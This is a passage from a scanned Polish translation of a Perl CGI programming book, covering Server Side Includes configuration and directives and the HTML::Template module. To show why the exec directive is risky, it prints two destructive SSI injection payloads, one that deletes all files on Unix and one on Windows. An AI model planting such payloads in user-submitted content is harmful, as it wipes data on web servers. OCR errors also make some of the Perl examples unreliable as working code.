wyjściowych. Taka możliwość się przydaje, jednak pod względem bezpieczeństwa jest ryzykowna. Aby SSI włączyć w określonych katalogach, w każdym z nich należy dodać opcję Includes. Jeśli SSI ma być włączone w całej strukturze Web dla wszystkich plików z rozszerzeniem .shtml, do pliku httpd.confdub access.conf, jeśli jest używany) należy dodać następujący zapis: <Location /> ... Options AddHandler Includes server-parsed.shtml ... </Location> Warto zwrócić uwagę, że w pliku konfiguracyjnym, między znacznikami <Location /> a </Location> występują zapewne także inne wiersze, w tym również pozycje Options; można je pozostawić bez zmian. Nie ma obowiązku stosowania rozszerzenia .shtml; serwerowi można nakazać analizę składniową wszystkich dokumentów HTML za pomocą następującej dyrektywy: AddHandler server-parsed.html Mimo wszystko nie powinno się z tej możliwości korzystać, jeśli nie wszystkie strony są dynamiczne, ponieważ analiza składniowa każdego dokumentu HTML zwiększa obciążenie serwera Web, a zmniejsza wydajność.
Programowanie CGI w Perlu
63
Do pliku httpd.conf (lub srm.conf, jeśli jest używany), poza blokami znaczników Lo-cation lub Directory powinno się też dodać następujące wiersze: Directorylndex index.html index.shtml AddType text/html .shtml Dyrektywa Directorylndex informuje serwer, że jeśli URL odwołuje się do katalogu, w którym znajduje się plik index.shtml, to powinien ten plik wyświetlić, jeśli nie znajdzie pliku index.html. Serwerowa dyrektywa AddType informuje serwer, że typ nośnika analizowanych plików to HTML, a nie typ domyślny, którym zazwyczaj jest zwykły tekst. Składni poleceń SSI przyjrzymy się już za moment, a tymczasem wspomnimy o szczególnym poleceniu SSI, exec, które pozwala uruchamiać aplikacje zewnętrzne, a wyniki ich działania włączać do dokumentów. Ze względów bezpieczeństwa korzystanie z tej możliwości nie jest wskazane; dlatego też autorom stron HTML lepiej nie przydzielać tego samego poziomu zaufania, co projektantom CGI. Jeśli mimo to zdecydujemy się udostępnić polecenie exec i będziemy mieć w strukturze Web skrypt CGI tworzący statyczne pliki HTML na podstawie danych wprowadzanych przez użytkowników (na przykład popularne księgi gości oraz tablice ogłoszeń sporządzane przez skrypty CGI), musimy zadbać o to, by SSI nie było włączone w wypadku plików utworzonych przez ten skrypt. Jeśli ktoś, posługując się skryptem CGI, wprowadzi poniższy zapis, a znaczniki SSI nie zostaną usunięte przez aplikację CGI, wtedy zawarte w nich zdradzieckie polecenie zostanie wykonane, kiedy tylko zostanie odczytany komentarz: <!--#exec cmd="/bin/rm -rf *"--> To polecenie spowoduje, że usunięte zostaną wszystkie pliki ze wszystkich katalogów, w których serwer ma uprawnienia do zapisu. W wypadku serwera Windows równie niszczycielskie byłoby poniższe polecenie: <!--#exec cmd="del /f /s /q c:\ "--> Większość skryptów CGI, generujących pliki takie jak opisany, nadaje im rozszerzenie .html, więc nie powinno się udostępniać polecenia exec ani konfigurować serwera Web tak, aby składniowo analizował wszystkie pliki Mml. Warto pamiętać, że zasadniczo nie będzie to mieć znaczenia w sytuacji, gdy skrypty CGI nie będą mieć możliwości generowania plików .html. Aby włączyć SSI bez udostępniania znacznika exec, zamiast Includes należy użyć następującej opcji: Options IncludesNoExec W starszych wersjach Apache i innych serwerów Web wywołanie polecenia exec nie było możliwe, jeśli nie została włączona możliwość wykonywania skryptów CGI: Options Includes ExecCGI W rozdziale l, „Pierwsze kroki", przedstawiliśmy powody, dla których wskazane jest zawężenie skryptów CGI do określonych katalogów. Powyżej mieliśmy do wyboru udostępnienie wykonywania skryptów CGI albo zablokowanie polecenia exec. Na szczęście obie możliwości już się nie wykluczają: można udostępnić polecenie fx.ec, a jednocześnie zablokować wykonywanie skryptów CGI. Format Zobaczmy, do czego może nam posłużyć SSI. Wszystkie dyrektywy SSI mają następującą składnię: <!--#element atrybut="wartość" atrybut="wartość" ... --> Tabela 6.1 zawiera zestawienie dostępnych poleceń SSI. Każdą z dyrektyw omówimy szczegółowo w bieżącym rozdziale. Tabela 6.1. Polecenia SSI Element Atrybut Opis echo var Wyświetla wartości zmiennych środowiska, speqalnych zmiennych SSI oraz wielu zmiennych definiowanych przez użytkownika. include Wstawia zawartość wskazanego pliku do bieżącego dokumentu. file Ścieżka pliku określona względem bieżącego katalogu; nie można użyć ścieżki bezwzględnej ani odwoływać się do plików poza drzewem głównego katalogu dokumentów; zawartość plików włączana jest bezpośrednio do strony bez dalszego przetworzenia. virtual Ścieżka wirtualna (URL) określona względem głównego katalogu dokumentów; serwer interpretuje ścieżkę tak, jak gdyby było to osobne żądanie HTTP, więc atrybut ten może posłużyć do wstawienia wyniku działania programu CGI lub innego dokumentu SSI. fsize Wstawia rozmiar pliku. file Ścieżka pliku określona względem bieżącego katalogu. virtual Ścieżka wirtualna (URL) określona względem głównego katalogu dokumentów. flastmod file Wstawia datę i godzinę ostatniej modyfikacji podanego pliku. exec Uruchamia zewnętrzne programy, a dane uzyskane na ich wyjściu wstawia do bieżącego dokumentu (pod warunkiem, że w konfiguracji SSI nie znalazła się opcja IncludesNoExec). cmd Ścieżka do dowolnej wykonywalnej aplikacji określona względem bieżącego katalogu. cgi Ścieżka wirtualna do programu CGI; nie można w niej zawrzeć łańcucha zapytania jeśli trzeba przekazać łańcuch zapytania, należy użyć dyrektywy łinclude virtual=" . . . ". printenv Wyświetla listę zmiennych środowiska i ich wartości. set var Przypisuje wartość do nowej lub już istniejącej zmiennej środowiska; tak określona zmienna dotyczy tylko bieżącego żądania (przy czym dostępna jest w skryptach CGI lub innych dokumentach SSI włączonych do danego dokumentu). if, elif expr Rozpoczyna blok warunkowy. else Rozpoczyna w bloku warunkowym część „w przeciwnym razie".
Programowanie CGI w Perlu
64
Kończy blok warunkowy. Modyfikuje różne właściwości SSI. errmsg Domyślny komunikat o błędzie. sizefmt Format rozmiaru pliku. timefmt Format daty i godziny. Zmienne środowiska Istnieje możliwość wstawiania zmiennych środowiska do dokumentów HTML skądinąd statycznych. Poniżej przedstawiamy przykładowy dokument, w którym znajdzie się nazwa serwera, zdalny host użytkownika oraz lokalne wskazanie bieżącej daty i godziny: <HTML> <HEAD> <TITLE>Witamy ! </TITLE> </HEAD> <BODY> <H1>Witamy na naszym serwerze <! — #echo var="SERVER_NAME" -->...</H1> <HR> Drogi użytkowniku hosta <! -- #echo var="REMOTE_HOST"--> ! <P> W całym naszym serwisie udostępniamy wiele łączy do różnych dokumentów CGI, z których możesz swobodnie korzystać. <P> <HR> <ADDRESS>Webmaster, ! -- #echo var="DATE_LOCAL" -->)</ADDRESS> </BODY> </HTML> W tym przykładzie użyliśmy polecenia echo z atrybutem var, aby wyświetlić nazwę lub adres IP maszyny serwerowej, nazwę zdalnego hosta oraz lokalne wskazanie czasu. Wszystkie zmienne środowiska dostępne w programie CGI są dostępne także dla dyrektyw SSI. Jest także kilka zmiennych, które dostępne są wyłącznie w dyrektywach SSI, na przykład zmienna DATE_LOCAL, zawierająca lokalne wskazanie bieżącego czasu. Kolejną tego rodzaju zmienną jest DATE_GMT, która zawiera wskazanie średniego czasu zachodnioeuropejskiego (Greenwich Mean Time): Bieżące wskazanie czasu GMT: <!--#echo var="DATE_GMT"--> Oto kolejny przykład, w którym specyficzne dla SSI zmienne środowiska użyte zostały w celu wyświetlenia informacji o bieżącym dokumencie: <H2>Charakterystyka pliku</H2> <HR> Wyświetlany właśnie dokument to: <!--#echo var="DOCUMENT_NAME"-->, który dostępny jest pod URL-em: <!--#echo var="DOCUMENT_URI"-->. <HR> Ostatniej modyfikacji dokumentu dokonano <!--#echo var="LAST_MODIFIED"-->. Wyświetlona zostanie nazwa, URL oraz czas modyfikacji bieżącego dokumentu HTML. Lista zmiennych środowiska CGI znajduje się w rozdziale 3, „CGI - wspólny interfejs bramy". Tabela 6.2 przedstawia dodatkowe zmienne dostępne na stronach ze wstawkami SSI. Tabela 6.2. Dodatkowe zmienne dostępne na stronach SSI Zmienna środowiska Opis DOCUMENT_NAME Nazwa bieżącego pliku DOCUMENT_URI Ścieżka wirtualna do pliku QUERY_STRING_UNESCAPED Niekodowany łańcuch zapytania, w którym wszystkie metaznaki powłoki odłonięte są poprzedzającym ukośnikiem odwrtonym (\) DATE_LOCAL Bieżąca data i godzina w lokalnej strefie czasowej. DATE_GMT Bieżąca data i godzina według środkowego czasu zachodnioeuropejskiego LAST_MODIFIED Data i godzina ostatniej modyfikacji pliku żądanego przez przeglądarkę endif config
Formatowanie wyników poleceń SSI Polecenie config umożliwia określenie postaci, w jakiej mają być wyświetlane komunikaty o błędach, informacje o rozmiarach plików oraz daty i godziny. Gdy za pomocą polecenia include spróbujemy wstawić nie istniejący plik, wtedy serwer wygeneruje domyślny komunikat o błędzie, na przykład informujący, że wystąpił błąd podczas przetwarzania dyrektywy: [an error occurred while processing this directive] Komunikat domyślny można zmodyfikować poleceniem config. Aby zmienić go na „[błąd - proszę się skontaktować z webmasterem]", można się posłużyć następującym zapisem: <!--#config errmsg="[błąd - proszę się skontaktować z webmasterem]"--> Można także określić format, w którym serwer ma wyświetlić informacje o rozmiarze pliku uzyskane za pomocą polecenia fsize. Na przykład następujące polecenie: <!--#config sizefmt="abbrev"-->
Programowanie CGI w Perlu
65
spowoduje, że serwer wyświetli rozmiar pliku z zaokrągleniem do kilobajtów (KB) lub megabajtów (MB), odpowiednio do rzędu wielkości. Wartość „bytes" użyta z argumentem sizefmt sprawi, że rozmiar pliku zostanie wyświetlony z dokładnością do bajtów: <!--#config sizefmt="bytes"--> A oto, jak można zmienić format wskazań czasu: <!--#config timefmt="%D (dzień %j) o %T"--> Sygnaturę zmodyfikowano ostatnio w dniu: <!--#flastmod virtual="/adres.html"-->. Rezultat będzie wyglądał następująco: Sygnaturę zmodyfikowano ostatnio w dniu: 09/22/97 (dzień 265) o 19:17:39 Symbol %D powoduje, że wstawiana jest bieżąca data w formacie mm/dd/ r r, w miejsce % j wstawiany jest dzień roku, zaś % T odpowiada za wstawienie bieżącej godziny w formacie 24-godzinnym hh: mm: s s. Wszystkie dostępne formaty dary i godziny wymienione zostały w tabeli 6.3. Tabela 6.3. Formaty daty l godziny Format Wartość Przykład %a Skrócona nazwa dnia tygodnia Sun %A Nazwa dnia tygodnia Sunday %b Skrócona nazwa miesiąca Feb %B Nazwa miesiąca February %d Dzień miesiąca (dwucyfrowo) 01 (nie 1) %D Data w formacie %m/%d/%y 06/23/95 %e Dzień miesiąca 1 %H Pełna godzina zegarowa (zapis 24-godzinny) 13 %I Pełna godzina zegarowa (zapis 12-godzinny) 01 %j Numer dnia w roku 360 %m Numer miesiąca 11 %M Minuty 08 %p AM lub PM (odpowiednio do godziny) AM %r Godzina w formacie % I: %M: % S %p 07:17:39 PM %S Sekundy 09 %T Godzina w zapisie 24-godzinnym w formacie %H: %M: %S 16:55:15 %U Numer tygodnia w roku (także %W) 49 %w Numer dnia w tygodniu 5 %y Rok w danym stuleciu 95 %Y Rok 1995 %Z Strefa czasowa EST Włączanie do dokumentów powtarzalnych informacji Bywają sytuacje, że na danym serwerze te same informacje trzeba wielokrotnie powtarzać w licznych dokumentach, na przykład noty copyrightowe, adres poczty elektronicznej webmastera itp. Zamiast umieszczać te informacje osobno w każdym pliku, do dokumentów można włączać tylko jeden plik, który będzie zawierać wszystkie te informacje. Gdy ulegną one zmianie (na przykład z początkiem roku trzeba zmienić treść noty copyrightowej), aktualizacja pojedynczego pliku będzie o wiele łatwiejsza. Przykład 6.1 przedstawia plik stopki, zawierający polecenia SSI (zauważmy rozszerzenie .shtml). Przykład 6.1. footer.shtml <HR> <P><FONT SIZE="-1"> Copyright 1999-2000, Moja Firma SA<BR> Wszelkie problemy proszę zgłaszać na adres <A HREF=mailto:<!--#echo var="SERVER_ADMIN"-->"><!--#echo var="SERVER_ADMIN"--></A>. <BR>Dokument zmodyfikowano ostatnio <!--#echo var="LAST_MODIFIED"-->. <BR> </FONT></P> Wstawienie polecenia SSI wewnątrz innego znacznika HTML wygląda dość zagmatwanie, lecz kod HTML jest prawidłowy, ponieważ serwer Web przeprowadzi analizę składniową jeszcze przed wysłaniem pliku do klienta. Można się też zastanawiać, którego pliku użyłby serwer do ustalenia wartości zmiennej LAST_MODIFIED, gdybyśmy powyższy plik włączyli do innego pliku. Otóż wartość LAST_MODIFIED ustawiana jest przez serwer tylko raz - na podstawie pliku, którego zażądał klient. Jeśli plik ten będzie obejmować inne pliki, takie jak footer.shtml, to LAST_MODIFIED i tak będzie się odnosić do pierwotnego pliku; a zatem stopka będzie działać zgodnie z naszym zamierzeniem. Ponieważ pliki-wstawki nie są kompletnymi dokumentami HTML (nie mają znaczników <HTML>, <HEAD> ani <BODY>), łatwiej je będzie poddawać zabiegom pielęgnacyjnym, gdy zostaną wyróżnione specjalnym rozszerzeniem lub znajdą się w osobnym katalogu. Gdy w głównym katalogu dokumentów utworzymy folder /includes i umieścimy w nim przykładowy plik footer.shtml, wówczas będziemy mogli go włączać do innych plików .shtml, umieszczając w nich poniższy wiersz: <!--#include virtual="/includes/footer.shtml"-->
Programowanie CGI w Perlu
66
Polecenie SSI zostanie zastąpione stopką zawierającą notę copyrightową, adres poczty elektronicznej do administratora serwera oraz datę modyfikacji żądanego pliku. W celu odwołania się do pliku można zamiast virtual użyć atrybutu file, choć ma on pewne ograniczenia. Nie można posługiwać się ścieżkami bezwzględnymi, serwer Web nie przetwarza żądanego pliku (na przykład pod kątem skryptów CGI lub innych poleceń SSI) i nie można się odwoływać do pliku poza głównym katalogiem dokumentów. To ostatnie ograniczenie zapobiega włączeniu do dokumentu HTML pliku takiego jak /etc/passwd (ponieważ może się zdarzyć, że ktoś będzie w stanie wysłać pliki do serwera, nie mając skądinąd dostępu do tego pliku). Ze względu na te ograniczenia, zwykle prościej jest użyć atrybutu virtual. Uruchamianie programów CGI SSI można wykorzystać do osadzania wyników osobno uruchomionego programu CGI w statycznych dokumentach HTML przy użyciu poleceń exec cgi lub include mr-tual. Jest to wygodne rozwiązanie w sytuacjach, gdy trzeba wyświetlić zaledwie drobną dynamiczną informację, na przykład: Tę stronę odwiedzono już 9387-krotnie. Przyjrzyjmy się wstawianiu wyników pochodzących z programów CGI. Załóżmy, że mamy prosty program CGI śledzący liczbę odwiedzin, wywoływany w dokumencie HTML poleceniem SSI include: Tę stronę odwiedzono już <!--#include virtual="/cgi/counter.cgi"-->-krotnie. Znacznik ten możemy umieścić w dowolnej stronie HTML, dla której włączono SSI, na danym serwerze Web; każda strona będzie mieć własny licznik. Nie musimy przekazywać żadnych zmiennych informujących CGI, którego URL-a licznik jest nam potrzebny; zmienna środowiska DOCUMENT_URI będzie zawierać URL pierwotnie zażądanego dokumentu. Mimo że nie jest to standardowa zmienna środowiska CGI, dodatkowe zmienne SSI przekazywane są do skryptów CGI wywoływanych za pośrednictwem SSI. Kod kryjący się za licznikiem wizyt jest dość krótki. Asocjacyjny plik w formacie Ber-keley DB zawiera osobne liczniki gości dla każdego ze śledzonych dokumentów. Kiedy użytkownik sięga do dokumentu, dyrektywa SSI w tym dokumencie wywołuje program CGI, który odczytuje liczbę przechowywaną w pliku danych, zwiększa ją i podaje na wyjście. Program licznika przedstawiamy w przykładzie 6.2. Przykład 6.2. counter.cgi #!/usr/bin/perl -wT use strict; use Fnctl qw( :DEFAULT :flock); use DB_File; use constant PLIK_LICZNIKA => "/usr/local/apache/data/counter/count.dbm"; my %licznik; my $url = $ENV{DOCUMENT_URI}; local *DBM; print "Content-type: text/plain\n\n"; if ( my $db = tie %licznik, "DB_File", PLIK_LICZNIKA, O_RDWR | O_CREAT ) { my $fd = $db->fd; open DBM, "+<S=$fd" or die "Nie można otworzyć DBM z blokowaniem: $!"; flock DBM, LOCK_EX; undef $db; $licznik{$url} = 0 unless exists $licznik{$url); my $l_odwiedzin = ++$licznik($url}; untie %licznik; close DBM; print "$l_odwiedzin\n"; } else { print "[Błąd przy przetwarzaniu danych licznika]\n"; } Na razie nie zajmiemy się kwestią dostępu do pliku asocjacyjnego; omówimy ją w rozdziale 10, „Obsługa danych w plikach". Należy zauważyć, że na wyjście podajemy typ nośnika (w nagłówku Content-type). Musimy to zrobić w wypadku wstawek plikowych, mimo że nagłówek nie jest zwracany do klienta. Ważne jest również, że program CGI uruchomiony przez dyrektywę SSI nie może wygenerować niczego innego niż tekst, ponieważ dane te osadzane są w dokumencie, który wywołał dyrektywę. Ostatecznie nie ma znaczenia, czy typ generowanej treści to text/plain, czy text/html, ponieważ przeglądarka będzie interpretować dane według typu nośnika dokumentu wywołującego. Jest oczywiste, że taki program CGI nie może na wyjście przekazywać grafiki ani danych binarnych. Częste błędy Jest kilka błędów, które często się zdarzają przy stosowaniu wstawek po stronie serwera. Po pierwsze, nie można zapomnieć o znaku #: <!--echo var="REMOTE_USER"--> Po drugie, nie wolno umieszczać spacji między początkowym ciągiem <!-- a znakiem #: <!-- #echo var="REMOTE_USER"-->
Programowanie CGI w Perlu
67
Po trzecie, jeśli wartość końcowego atrybutu nie jest ujęta w cudzysłów, trzeba wstawić dodatkową spację przed zamykającym ciągiem -->. W przeciwnym razie analizator składni może zinterpretować te znaki jako część wartości atrybutu: <!-- #echo var=REMOTE_USER--> Na ogół prościej jest stosować cudzysłów, co jednocześnie sprzyja przejrzystości. Jeśli popełnimy któryś z dwóch pierwszych błędów, serwer nie rozpozna polecenia SSI i przekaże je dalej jako komentarz HTML. W ostatnim przypadku w miejscu polecenia pojawi się komunikat o błędzie.
HTML::Template SSI to dość efektywne narzędzie, choć ma pewne ograniczenia. Jego zaletami są skuteczność oraz to, że jest na tyle prosty, iż mogą z niego korzystać projektanci stron HTML bez doświadczenia programistycznego. Wadami są natomiast niewielka liczba poleceń oraz to, że analizie składniowej mogą być poddawane tylko dokumenty statyczne. Środkiem zaradczym na obydwa niedostatki, przy jednoczesnym zachowaniu prostego interfejsu, jest HTML::Template, nieskomplikowany analizator składniowy szablonów. Składnia HTML::Template w rzeczywistości ma mniej poleceń niż SSI, lecz cechuje się większą elastycznością, ponieważ wartości znaczników zmiennych mogą być dowolnie określane przez skrypt CGI. Mimo że dokument SSI może obejmować wynik działania skryptu CGI, staje się nieporęczny, gdy strona zawiera kilka skomplikowanych komponentów, z których każdy ma wywołać skrypt CGI. Natomiast HTML::Template obsługuje złożone szablony przy użyciu jednego skryptu CGI. Przyjrzyjmy się bardzo prostemu przykładowi, w którym wyświetlana jest bieżąca data i godzina. Plik szablonu przedstawiony jest w przykładzie 6.3. Przykład 6.3. current_time.tmpl <HTML> <HEAD> <TITLE>Bieżący czas</TITLE> </HEAD> <BODY BGCOLOR="white"> <Hl>Bieżacy czas</Hl> <P>Witamy. Obecnie mamy <TMPL_VAR NAME="current_time">.</P> </BODY> </HTML> Jest to standardowy plik HTML z jednym dodatkowym znacznikiem: <TMPL_VAR NAME="current_time">. Polecenia HTML::Template można podawać w postaci analogicznej do standardowych znaczników HTML lub jako komentarze. Dopuszczalny jest więc również poniższy zapis: <!-- TMPL_VAR NAME="current_time" --> Ta alternatywna składnia może być łatwiejsza do wprowadzenia w tych edytorach HTML, które dopuszczają tylko ściśle określony zestaw znaczników. Aby móc użyć tego szablonu, musimy utworzyć skrypt CGI, do którego będzie kierowane żądanie. Kod tego skryptu przedstawiony jest w przykładzie 6.4. Przykład 6.4. current_time.cgi #!/usr/bin/perl -wT use strict; use HTML::Template; use constant PLIK_SZABLONU => "$ENV(DOCUMENT_ROOT}/templates/current_time.tmpl"; my $szbln = new HTML::Template( filename => PLIK_SZABLONU ); my $czas = localtime; $szbln->param( current_time => $czas ); print "Content-type: text/html\n\n", $szbln->output; Tworzymy stałą o nazwie PLIK_SZABLONU, wskazującą plik używanego przez nas szablonu. Następnie tworzymy obiekt HTML::Template, przypisujemy parametr i przekazujemy go na wyjście. Większość znaczników ma atrybut NAME; wartość tego atrybutu odpowiada parametrowi ustawionemu przez skrypt CGI za pomocą metody param modułu HTML::Template, która działaniem bardzo przypomina (celowo) metodę param modułu CGI.pm. Co więcej, parametry można zaimportować z CGI.pm przy tworzeniu obiektu HTML::Template: my $q = new CGI; my $szbln = HTML::Template( filename => PLIK_SZABLONU, associate => $q ); W ten sposób załadowane zostaną wszystkie parametry formularza, które otrzymał skrypt CGI; oczywiście nadal można użyć metody param, aby dodać kolejne parametry lub zastąpić uprzednio wczytane z CGI.pm. Polecenia HTML::Template zestawione są w tabeli 6.4. Tabela 6.4. Polecenia dostępne w module HTML::Template Element Atrybut Opis TMPL_VAR NAME="nazwa_parametru" Ten znacznik zastępowany jest wartością parametru nazwa jparametru, nie ma znacznika zamykającego. ESCAPE="HTML lub URL" Przypisanie „HTML" powoduje, że wartość pojawiająca się w miejsce znacznika jest ochroniona przed interpretacją jako element HTML -np. po to, aby" (znak cudzysłowu prostego) nie był traktowany jako znak specjalny, zostanie zastąpiony przez &quot;. „URL"
Programowanie CGI w Perlu
68
powoduje kodowanie wartości pod kątem URL-i. Gdy pominiemy wartość lub przypiszemy zero, żadne działania nie zostaną podjęte. TMPL_LOOP NAME="nazwa_parametru" Wykonuje pętlę na zawartości między znacznikami otwierającym a zamykającym dla każdego elementu tablicy o nazwie podanej jako nazwa jparametru (zob. omówienie poniżej). TMPL_IF NAME="nazwa_parametru" Treść w ramach tego znacznika jest pomijana, jeśli wartością logiczną parametru nazwa jparametru nie jest „prawda". TMPL_ELSE Wprowadza warunek odwrotny dla pozostałej treści podlegającej znacznikom TMPL_IF lub TMPL_UNLESS. TMPL_UNLESS NAME="nazwa_parametru" Odwrotność TMPL_IF. Treść w ramach tego znacznika jest pomijana, jeśli wartością logiczną parametru nazwajparametru nie jest „fałsz". TMPL_INCLUDE NAME="/ścieżka/plik" Włącza do dokumentu zawartość innego pliku; nie ma znacznika zamykającego. Tylko polecenia TMPL_LOOP, TMPL_IF i TMPL_UNLESS mają obydwa znaczniki, otwierający i zamykający; pozostałym odpowiadają znaczniki pojedyncze (tak jak w wypadku <HR> lub <BR>). Pętle Spośród możliwości oferowanych przez HTML::Template jedną z najwygodniej-szych jest tworzenie pętli. W poprzednim przykładzie nie korzystaliśmy z tej zalety, więc teraz przyjrzyjmy się czemuś bardziej złożonemu. W module HTML::Template wykonywanie pętli oparte jest na zwykłej tablicy tablic asocjacyjnych. Pętla przebiega przez każdy element tej tablicy i tworzy zmienne odpowiadające kluczom tablic asocjacyjnych. Strukturę tę można zobrazować za pomocą tabeli (jak tabela 6.5), której reprezentacją w Perlu jest tablica asocjacyjna (jak w przykładzie 6.5). Tabela 6.5 Prosta tablica danych Imię Miejscowość Wiek Marysia Radom 37 Fredek Olsztyn 24 Marta Warszawa 51 Ela Kalisz 19 Przykład 6.5. Struktura danych w Perlu, odpowiadająca tabeli 6.5 @tabela = ( { imie => "Marysia", miejscowość => "Radom", wiek => "37" }, { imie => "Fredek", miejscowość => "Olsztyn", wiek => "24" }, { imie => "Marta", miejscowość => "Warszawa", wiek => "51" }, { imie => "Ela", miejscowość => "Kalisz", wiek => "19" } }; Przykład 6.6 przedstawia skrypt, który wyświetla wszystkie dostępne kolory standardowe systemu opartego na X Window. Przykład 6.6. xcolors.cgi #!/usr/bin/perl -wT use strict; use HTML::Template; my $plik_rgb = "/usr/Xll/lib/Xll/rgb.txt"; my $szablon = "/usr/local/apache/templates/xcolors.tmpl"; my @kolory = rozbierz_kolory( $plik_rgb ); print "Content-type: text/html\n\n"; my $szbln = new HTML::Template( filename => $szablon ); $szbln->param( colors => \@kolory ); print $szbln->output; sub rozbierz_kolory { my $sciezka = shift; local *PLIK_RGB; open PLIK_RGB, $sciezka or die "Nie można otworzyć $sciezka: $!"; while (<PLIK_RGB>) { next if /^!/; chomp; my( $r, $g, $b, $nazwa ) = split; # Przekształć do formatu szesnastkowego #RRGGBB
Programowanie CGI w Perlu
69
my $rgb = sprintf "#%0. 2x%0 .2x%0.2x", $r, $g, $b; my %kolor = ( rgb => $rgb, nazwa => $nazwa ); push @kolory, \%kolor; } close PLIK_RGB; return @kolory; } W tym skrypcie CGI użyty został plik rgb.txt, który w systemach X Window zazwyczaj znajduje się w katalogu /usr/Xll/lib/Xll. Plik ten zawiera listę kolorów oraz ich 8-bitowych wartości dla składowych: czerwonego, zielonego i niebieskiego: ! $Xconsortium: rgb.txt, v 10.41 94/02/20 18:39:36 rws Exp S 255 250 250 snow 248 248 255 ghost white 248 248 255 GhostWhite 245 245 245 white smoke 245 245 245 WhiteSmoke Wartości czerwonego, zielonego i niebieskiego odczytujemy i przekształcamy na równoważnik szesnastkowy, który stosowany jest na stronach HTML (np. #336699). Dla każdego koloru tworzymy osobną tablicę asocjacyjną, której jedna pozycja zawiera wartość RGB i nazwę koloru. Następnie każdą taką tablicę asocjacyjną dodajemy do zwykłej tablicy @kolory. Wystarczy, że do HTML::Template jako parametr przekażemy jedynie @ kolor y, która posłuży nam za zmienną pętli w szablonie HTML. Wewnątrz pętli mamy dostęp do elementów „rgb" oraz „nazwa" tablic asocjacyjnych (zob. przykład 6.7). Przykład 6.7. xcolors.tmpl <HTML> <HEAD> <TITLE>Przegląd kolorów X11</TITLE> </HEAD> <BODY BGCOLOR="white"> <DIV ALIGN="center"> <Hl>Przegląd kolorów X1K/H1> <HR> <TABLE BORDER="1" CELLPADDING="4" WIDTH="400"> <TMPL_LOOP NAME="kolory"> <TR> <TD BGCOLOR="<TMPL_VAR NAME="rgb">">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</TD> <TD><TMPL_VAR NAME="nazwa"></TD> </TR> </TMPL_LOOP> </TABLE> </BODY> </HTML> Powyższa struktura pętli jest na tyle elastyczna, by umożliwić nam wyświetlenie danych innego rodzaju, na przykład tablic asocjacyjnych. Skrypt CGI przedstawiony w przykładzie 6.8 generuje wszystkie zmienne środowiska oraz ich wartości. Przykład 6.8. etv_tmpl.cgi #!/usr/bin/perl -wT use strict; use HTML::Template; use constant PLIK_SZABLONU => "$ENV{DOCUMENT_ROOT}/templates/env.tmpl"; my $szbln = new HTML::Template( filename =>PLIK_SZABLONU, no_includes => l ); my @env; foreach ( sort keys %ENV ) { push @env, { nazwa_zm => $_, wartosc_zra => $ENV{$_} }; } $szbln->param( env => \@env ) ; print "Content-type: text/html\n\n", $szbln->output; HTML::Template nie daje możliwości bezpośredniej obsługi tablic asocjacyjnych, lecz korzystając z tego, że pozwala wykonać pętlę na zwykłej tablicy tablic asocjacyjnych, utworzyliśmy osobne tablice asocjacyjne dla każdej pary zawartej w %ENV i dodaliśmy je do tablicy @env. Następnie referencję do @env przekazaliśmy jako parametr do obiektu HTML::Template i na wyjście podaliśmy plik po rozbiorze. Przykład 6.9 przedstawia odpowiedni plik szablonu. Przykład 6.9. env.tmpl <HTML> <HEAD> <TITLE>Zmienne środowiska</TITLE> </HEAD> <BODY BGCOLOR="white"> <TABLE BORDER="1"> <TMPL_LOOP NAME="env"> <TR>
Programowanie CGI w Perlu
70
<TD><B><TMPL VAR NAME="nazwa zm"></B></TD> <TD><TMPL_VAR NAME="wartosc_zm"></TD> </TR> </TMPL_LOOP> </TABLE> </BODY> </HTML> Zwróćmy uwagę, że wywołaliśmy param tylko raz, mimo że w pliku są trzy różne znaczniki HTML::Template. Użyte zostały zmienne nazwa_zm i wartosc_zm, ponieważ odpowiadają kluczom tablicy asocjacyjnej zawartej w tablicy @env. Instrukcje warunkowe HTML::Template oferuje dwa, analogicznie jak w Perlu, sposoby tworzenia konstrukcji warunkowych: za pomocą TMPL_IF i TMPL_UNLESS. Służą one do uwzględniania lub pomijania określonych fragmentów szablonu HTML. Obydwa znaczniki, tak jak wcześniej wymienione, mają atrybut NAME, odpowiadający parametrowi, którego wartość wyliczana jest w kontekście boolowskim. Nie jest możliwe tworzenie wyrażeń, które byłyby obliczane w szablonach, ponieważ szablony z założenia są proste. Zauważmy, że aby móc użyć tych znaczników, nie zawsze jest konieczne ustanawianie osobnego parametru. Do dokumentu można na przykład włączyć następujący blok: <TMPL_IF NAME="tajna_wmsc"> <P>Pst, oto tajna wiadomość: <TMPL_VAR NAME="tajna_wmsc">.</P> </TMPL_IF> Tutaj ten sam parametr został użyty zarówno w poleceniu TMPLJF, jak i TMPL_VAR. Jeśli tajna wiadomość istnieje, to jest wyświetlana. Jeśli nie istnieje (czyli łańcuch tekstowy jest pusty), to nic się nie wyświetli. Jako warunki mogą też posłużyć parametry pętli. Jeśli parametr pętli zawiera jakąkolwiek wartość, zwracana jest „prawda"; w przeciwnym razie zwracany jest „fałsz". Przydaje się to do sygnalizowania braku dopasowań przy wyświetlaniu wyników wyszukiwania: <P>Rezultat przeprowadzonej kwerendy:</P> <TABLE> <TR> <TH>Tytuł programu</TH> <TH>Strona główna</TH> </TR> <TMPL_LOOP NAME="rezultaty"> <TR> <TD><TMPL_VAR NAME="oprogr_tytul"></TD> <TD><A HREF="<TMPL_VAR NAME="url">"><TMPL_VAR NAME="oprogr_url"></A></TD> </TR> </TMPL_LOOP> <TMPL_UNLESS NAME="rezultaty"> <TR> <TD COLSPAN="2"> Brak oprogramowania spełniającego kryteria kwerendy. </TD> </TR> </TMPL_UNLESS> </TABLE> W tym przykładzie użytkownik poszukuje oprogramowania spełniającego zadane kryteria. Jeśli znalezione zostaną pasujące do nich tytuły, w osobnych wierszach tabeli wyświetlone będą nazwy i strony główne poszczególnych tytułów. Jeśli natomiast nie znajdzie się żaden pasujący tytuł, skrypt powiadomi użytkownika o tym fakcie. Ten szablon zapewnia projektantowi pełną kontrolę pod względem sposobu prezentacji rezultatów użytkownikowi, przy czym jest na tyle prosty, że jego zrozumienie nie sprawia trudności. Włączanie innych plików do szablonu Ostatnie polecenie, TMPL_INCLUDE, włącza do szablonu zawartość innych plików. Treść tych plików jest włączana, zanim analizie składniowej poddane zostaną pętle i zmienne, co oznacza, że można włączać pliki zawierające pętle i znaczniki zmiennych (a nawet kolejne znaczniki włączenia). Polecenie TMPL_INCLUDE przypomina polecenie SSI include, z tym że nie jest tu możliwe podanie wirtualnej ścieżki do pliku; podawać należy systemową 